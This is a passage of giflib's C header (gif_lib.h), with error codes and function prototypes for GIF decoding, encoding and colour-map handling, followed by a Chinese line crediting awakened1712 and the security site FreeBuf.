#define D_GIF_ERR_OPEN_FAILED 101 /* And DGif possible errors. */
#define D_GIF_ERR_READ_FAILED 102
#define D_GIF_ERR_NOT_GIF_FILE 103
#define D_GIF_ERR_NO_SCRN_DSCR 104
#define D_GIF_ERR_NO_IMAG_DSCR 105
#define D_GIF_ERR_NO_COLOR_MAP 106
#define D_GIF_ERR_WRONG_RECORD 107
#define D_GIF_ERR_DATA_TOO_BIG 108
#define D_GIF_ERR_NOT_ENOUGH_MEM 109
#define D_GIF_ERR_CLOSE_FAILED 110
#define D_GIF_ERR_NOT_READABLE 111
#define D_GIF_ERR_IMAGE_DEFECT 112
#define D_GIF_ERR_EOF_TOO_SOON 113
#define E_GIF_SUCCEEDED 0
#define E_GIF_ERR_OPEN_FAILED 1 /* And EGif possible errors. */
#define E_GIF_ERR_WRITE_FAILED 2
#define E_GIF_ERR_HAS_SCRN_DSCR 3
#define E_GIF_ERR_HAS_IMAG_DSCR 4
#define E_GIF_ERR_NO_COLOR_MAP 5
#define E_GIF_ERR_DATA_TOO_BIG 6
#define E_GIF_ERR_NOT_ENOUGH_MEM 7
#define E_GIF_ERR_DISK_IS_FULL 8
#define E_GIF_ERR_CLOSE_FAILED 9
#define E_GIF_ERR_NOT_WRITEABLE 10
/* These are legacy. You probably do not want to call them directly */
int DGifGetScreenDesc(GifFileType *GifFile);
int DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType);
int DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount);
int DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen);
int DGifGetExtension(GifFileType *GifFile, int *GifExtCode,
GifByteType **GifExtension);
int DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension);
int DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock);
int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen);
/*****************************************************************************
Everything below this point is new after version 1.2, supporting `slurp
mode' for doing I/O in two big belts with all the image-bashing in core.
******************************************************************************/
/******************************************************************************
Color map handling from gif_alloc.c
******************************************************************************/
extern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel,
const GifColorType *ColorMap);
extern void GifFreeMapObject(ColorMapObject *Object);
//extern int GifBitSize(int n);
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <limits.h>
/******************************************************************************
Support for the in-core structures allocation (slurp mode).
******************************************************************************/
//extern void GifFreeExtensions(int *ExtensionBlock_Count,
// ExtensionBlock **ExtensionBlocks);
extern void GifFreeSavedImages(GifFileType *GifFile);
/******************************************************************************
5.x functions for GIF89 graphics control blocks
******************************************************************************/
int DGifExtensionToGCB(const size_t GifExtensionLength,
const GifByteType *GifExtension,
GraphicsControlBlock *GCB);
#endif /* _GIF_LIB_H */
/* end */
*参考来源:awakened1712,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM